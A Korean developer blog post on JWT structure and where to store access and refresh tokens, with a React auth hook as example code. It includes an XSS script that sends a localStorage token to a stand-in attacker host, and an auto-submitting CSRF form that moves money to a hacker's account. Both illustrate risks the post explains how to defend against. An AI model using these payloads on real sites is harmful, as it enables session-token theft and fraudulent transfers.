access_token, refresh_token 어디에 보관하면 좋을까?

2024-10-12조회수 0
Web
Post thumbnail

간단히 JWT에 대해 알아보고 access_token , refresh_token을 어디에 저장하면 좋을지 알아보겠습니다.

1. JWT란?

JWT는 JSON Web Token이라는 약자로, 당사자 간 정보를 안전하게 JSON객체로 전송하기 위한 컴팩트하고 독립적인 방식을 정의하는 개방형 표준(RFC 7519)입니다.

2. JWT의 구조

JWT structure image

JWT는 세 부분으로 구성되며, 각 부분은 (.)으로 구분됩니다.

  1. 헤더(Header)
  2. 페이로드(Payload)
  3. 서명(Signature)

따라서 JWT는 다음과 같은 형태를 가집니다.

xxxxx.yyyyyy.zzzzz

위의 그림을 보면 알 수 있듯이 3가지(헤더, 페이로드, 서명) 값들이 Base64URL로 인코딩 되어져 있습니다.

Base64URL은 URL에 안전하게 포함할 수 있는 인코딩 방식입니다. 일반적인 Base64와 달리 URL과 파일 경로에서 사용 되지 않는 +, / 와 같은 문자를 -, _로 대체하여 사용합니다.

2.1 헤더(Header)

토큰 유형(typ)과 사용된 해시 알고리즘(alg)을 지정합니다.

{
  "alg": "HS256",
  "typ": "JWT"
}

2.2 페이로드(Payload)

클레임(claim)이라 불리는 엔티티 및 추가 데이터에 대한 설명이 포함됩니다.

클레임은 페이로드에 포함된 정보로, 사용자에 대한 데이터를 담아 서버와 클라이언트 간의 인증 및 권한 부여를 지원합니다.

2.2.1 클레임 종류

클레임은 크게 다음과 같은 세 가지로 나뉩니다.

  1. 등록된 클레임
    • JWT 표준에 의해 정의된 필수적이거나 일반적인 정보들입니다.
    • 예 iss(발급자), sub(주체), aud(대상), exp(만료 시간), iat (발급시간)
  2. 공개 클레임
    • 등록된 공개 클레임이거나 URI를 사용하여 충돌을 피하도록 정의된 클레임입니다.
    • 예 role, permission 와 같은 정보를 포함할 수 있습니다.
  3. 비공개 클레임
    • JWT를 발급하고 통신하는 당사자들 간에 정보를 공유하기 위해 생성되고 사용됩니다.
{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

2.3 서명(Signature)

인코딩 된 헤더, 인코딩된 페이로드, 비밀키, 헤더에 지정된 알고리즘을 사용하여 생성됩니다. 서명은 토큰의 무결성을 확인하고, 클라이언트와 서버 간에 전송된 데이터가 변조되지 않았음을 보장하는 역할을 합니다.

JWT의 헤더와 페이로드는 각각 Base64URL로 인코딩 된 후, 마침표(.)로 결합한 후 헤더에 명시된 알고리즘을 사용하여 결합된 문자열을 비밀 키와 함께 서명합니다.

base64UrlEncode(HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret))

2.4 JWT 장점, 단점

2.4.1 JWT 장점

  1. 상태 비저장성: 서버가 사용자 세션을 유지할 필요없이, 각 요청에 필요한 정보를 JWT가 자체적으로 포함하고 있어 서버 확장성이 높습니다.
  2. 빠른 인증 처리: 클라이언트 측에서 필요한 모든 인증 정보를 포함하고 있어 서버 요청마다 데이터 베이스 조회 없이 빠르게 인증을 처리할 수 있습니다.
  3. 다양한 환경에서의 사용 용이성: JWT는 JSON 형식을 사용하므로, 웹, 모바일, 마이크로서비스 등 다양한 플랫폼에서 쉽게 통하고 사용할 수 있습니다.

2.4.2 JWT 단점

  1. 토큰 취소 어려움: JWT는 발급 후 취소가 어렵기 때문에, 유효기간이 지나기 전까지는 권한 변경 사항이 즉각 반영되지 않습니다.
  2. 데이터 노출 위험: JWT는 기본적으로 서명만 되어 있고 암호화되지 않으므로, Bas64URL 디코딩으로 쉽게 내용을 볼 수 있습니다. 민감한 정보는 포함하지 않거나 추가 암호화가 필요합니다.
  3. 토큰 크기 제한: JWT는 크기가 비교적 크기 때문에 HTTP 헤더에 포함할 때 네트워크 트래픽이 증가할 수 있습니다.

3. Access Token과 Refresh Token: 어디에 저장해야 할까?

3.1 LocalStorage, Session Storage에 토큰 저장

가장 저장하고 사용하기 편한 로컬스토리지에 대해서 먼저 알아보겠습니다. 개발 초반에는 사용하기도 편하고 저장도 하기 쉬워서 대부분 로컬스토리지에 저장을 했었던 거 같습니다. 이후 요청시에 헤더에 토큰을 포함해서 서버로 요청을 했습니다. 하지만 로컬스토리지에 토큰을 보관하는건 가장 안좋은 보관장소 입니다.

로컬스토리지에 토큰을 보관하면 Javascript로 접근할 수 있다는 점이 보안상의 가장 큰 단점입니다. 이로 인해 악성 스크립트가 웹페지에 주입될 경우, 해당 스크립트가 토큰을 탈취할 수 있십니다. 이러한 XSS 공격에 취약하기 때문에 보안에 민감한 환경에서는 로컬스토리지에 토큰을 저장하는것은 권장되지 않습니다.

3.2 XSS(Cross-Site Scripting)

XSS는 웹 어플리케이션 취약점 중 하나로, 공격자가 악성 스크립트를 웹 페이지에 삽입하여 다른 사용자의 브라우저에서 실행되게 하는 공격기법입니다. 이를 통해 공격자는 사용자의 토큰을 탈취하거나, 웹사이트를 변조하거나, 악성 컨텐츠로 리다이렉션하는 등의 악의적인 행위를 할 수 있습니다.

  • 유형
    • 저장형 XSS(Stored XSS): 악성 스크립트가 서버에 저장되어 다른 사용자가 페이지를 요청할 때마다 전송됩니다.
    • 반사형 XSS(Reflected XSS): 악성 스크립트가 요청의 일부로 서버에 반사되어 응답으로 돌아옵니다.
    • DOM 기반 XSS: 클라이언트 측 스크립트가 DOM을 수정하여 악성 코드를 실행합니다.

예를 들어 설명을 해보겠습니다.

1.특정 쇼핑몰에서 사용자 인증을 위해 JWT(JSON Web Token)을 사용하며, 해당 토큰을 저장합니다.

2.해당 쇼핑몰의 제품 리뷰 기능에서 XSS 취약점을 발견합니다. 이 취약점은 사용자 입력이 제대로 sanitize 되지 않는것을 확인했습니다.

3.악성스크립트를 개발합니다.

<script>
  const token = localStorage.getItem('auth_token');
  const xhr = new XMLHttpRequest();
  xhr.open('GET', 'https://atacker-hacker.com/steal?token=' + encodeURIComponent(token), true);
  xhr.send();
</script>

이 스크립트는 LocalStorage 에서 auth_token을 읽어 해커의 서버로 전송합니다.

4.인기 제품의 리뷰 섹션에 위 스크립트를 포함한 가짜 리뷰를 작성합니다. "이 제품 정말 좋아요! <script>[악성스크립트]</script>"

5.많은 사용자들이 이 제품페이지를 방문을 하면 페이지 로드가 된후 스크립트가 실행이 되면서 인증 토큰이 해커의 서버로 이동이 됩니다.

6.수집한 토큰을 이용해 악의적인 행동을 합니다.

React를 사용하면 기본적으로 모든 문자열을 랜더링 하기 전에 이스케이프 처리합니다. 이는 문자열 내의 HTML 태그나 Javascript 코드가 실행되지 않도록 합니다.

const userInput = "<script>alert('XSS');</script>";
return <div>{userInput}</div>;

하지만 React XSS방어의 한계가 있습니다. 예를들어 dangerouslySetInnerHTML: 이 기능을 사용하면 React의 자동 이스케이핑을 우회할 수 있습니다. 사용자 입력을 직접 삽입하면 XSS 공격에 취약해집니다. 이것외에도 여러방법이 있습니다.

3.3 브라우저 쿠키에 토큰 저장

쿠키에 토큰 저장의 장점

  • HttpOnly 쿠키는 JavaScript를 통한 접근을 차단하여 XSS 공격으로부터 보호합니다.
  • 쿠키는 해당 도메인으로의 모든 요청에 자동으로 포함되어 편리합니다.
  • 쿠키의 만료 시간을 서버에서 명확하게 제어할 수 있습니다.
  • Secure 플래그를 사용하여 HTTPS 연결에서만 전송되도록 할 수 있습니다.

쿠키에 토큰 저장의 단점

  1. 쿠키는 CSRF(Cross-Site Request Forgery) 공격에 취약할 수 있습니다.
  2. 쿠키는 일반적으로 4KB 정도의 크기 제한이 있어 큰 토큰을 저장하기 어려울 수 있습니다.

3.4 SameSite 쿠키정책

SameSite 쿠키 정책은 웹 사이트 간 요청 시 쿠키의 전송 여부를 결정합니다. 이 정책은 CSRF 공격을 방지 하는데 도움을 줍니다.

3.4.1 SameSite 설정옵션

SameSite란 public suffix (.com, .io, .net, .github.io 등)아래 하래 도메인까지 같아야 동일한 사이트로 간주됩니다.

Strict: 가장 제한적인 설정이며, 같은 사이트에서 시작된 요청에만 쿠키를 전송, 다른 사이트에서 링크를 통해 이동하더라도 쿠키를 전송하지 않습니다.

Lax: 중간 수준의 제한이며, 같은 사이트에서 쿠키가 전송이 되며, 최상위 레벨 내비게이션(a href로 이동, 주소창에 URL입력)과 안전한 HTTP 메서드(GET)에는 쿠키전송합니다.

None: 제한없음, 모든 크로스 사이트 요청에 쿠키전송, 반드시 Secure 플래그와 함께 사용해야 합니다.(HTTPS필수)

대부분의 최신 브라우저 SameSite 값이 명시되지 않으면 Lax로 처리가 되며, 일부 구형 브라우저에서는 SameSite를 지원하지 않거나 None로 처리가 됩니다.

3.5 CSRF(Cross-Site Request Forgery) 공격

CSRF는 공격자가 인증된 사용자의 브라우저를 이용하여 해당 사용자의 권한으로 원치 않는 작업을 수행하도록 하는 공격입니다.

예시로 보면서 쉽게 이해를 하겠습니다.

특정 은행사이트에 SameSite None으로 설정이 되어 있다고 가정을 하겠습니다.

1.해커가 악성 웹페이지를 준비합니다.

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://secure-bank.com/transfer" method="POST">
      <input type="hidden" name="to" value="hacker_account" />
      <input type="hidden" name="amount" value="10000" />
    </form>
  </body>
</html>

2.해커가 사용자에게 이메일을 보내거나 소셜 미디어를 통해 링크를 공유 (링크제목: 아이폰16 당첨되었습니다.)

3.사용자가 은행사이트에 로그인한 상태에서 해당 링크를 클릭 시 악성페이지를 로드하고 해당 숨겨진 폼이 제출이 되면서 인증 쿠키를 자동으로 포함하여 요청이 됩니다.

4.서버 입장에서 요청이 인증된 사용자로부터 온 것으로 판단하고 처리되면서 이체가 됩니다.

해결방법으로는 CSRF 토큰을 사용하거나 위에서 설명한 Same Site 쿠키설정을 Lax, Strict(제한이 걸려있어서 사용하기가 불편함)하는것입니다.

4. 메모리에 저장

이제부터는 access_token refresh_token에 대한 개념이 나오겠지만, 이에 대한 개념은 넘어가도록 하고 저장방법에 대해 설명을 하겠습니다.

우선 메모리에 access_token을 보관을 한다면 CSRF, XSS 방어에는 안전하겠지만, 새로고침을 하면 메모리가 초기화가 되므로 로그인이 풀려버리는 현상이 일어납니다. 이를 대비해 보통 서버에서 refresh_token을 같이 내려줘서 refresh_token으로 다시 access_token을 다시 발급받는 순서로 하면 되겠습니다. refresh_token은 비교적 안전한 쿠키에 저장을 하면 되겠습니다. 메모리라고 한다면 변수, 전역 상태를 관리하는 도구(Redux, Zustand등)에 저장을 하면 됩니다.

예시코드

예시코드에서 테스트 할 서버를 구축을 못해서 구글 로그인으로 테스트를 하였고, refresh_token을 쿠키에 저장하지 않고 로컬스토리지에 사용하는 방식으로 했지만, 실제 프로젝트에서는 refresh_token은 쿠키에 저장하기를 권장합니다.


import useAuthStore from "../stores/useAuthStore.ts";
import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query";
import GoogleAuthService from "../servies/GoogleAuthService.ts";
import { GoogleTokenResponse } from "../type/User.ts";
import { useNavigate } from "react-router-dom";
import queryKeys from "../constants/queryKeys.ts";
import { routes } from "../constants/routes.tsx";
const USER_INFO_STALE_TIME = 30 * 60 * 1000; // 30분

export const useAuth = () => {
  const { accessToken, setAccessToken } = useAuthStore();
  const navigate = useNavigate();
  const queryClient = useQueryClient();

  const login = useMutation({
    mutationFn: GoogleAuthService.getTokens,
    onSuccess: async (data) => {
      setAccessToken(data.access_token);
      localStorage.setItem("refresh_token", data.refresh_token);
    },
    onError: (error) => {
      console.error("Login failed:", error);
    },
  });

  const refreshToken = useMutation({
    mutationFn: () => {
      const refreshToken = localStorage.getItem("refresh_token");
      if (!refreshToken) throw new Error("Refresh token not found");
      return GoogleAuthService.refreshToken(refreshToken);
    },
    onSuccess: async (data: GoogleTokenResponse) => {
      setAccessToken(data.access_token);
    },
  });

  const clearLocalState = () => {
    setAccessToken(null);
    localStorage.removeItem("refresh_token");
  };

  const logout = () => {
    clearLocalState();
    queryClient.removeQueries({
      queryKey: queryKeys.auth.profile._def,
      exact: true,
    });
    navigate(routes.HOME);
  };

  const { data: userInfo, refetch: refetchUserInfo } = useQuery({
    queryKey: queryKeys.auth.profile._def,
    queryFn: () => GoogleAuthService.getUserInfo(accessToken as string),
    enabled: !!accessToken,
    staleTime: USER_INFO_STALE_TIME,
  });

  return {
    userInfo,
    login: login.mutate,
    refreshToken: refreshToken.mutate,
    logout,
    refetchUserInfo,
  };
};

// App.tsx

function App() {
  const { refreshToken } = useAuth();

  useEffect(() => {
    refreshToken();
  }, []);

  return (
    <>
      <Header />
      <RootRoutes />
      <ReactQueryDevtools initialIsOpen={false} />
    </>
  );
}

#참고

https://research.securitum.com/jwt-json-web-token-security/

https://nginxstore.com/tag/jwt-%EC%9D%B8%EC%A6%9D/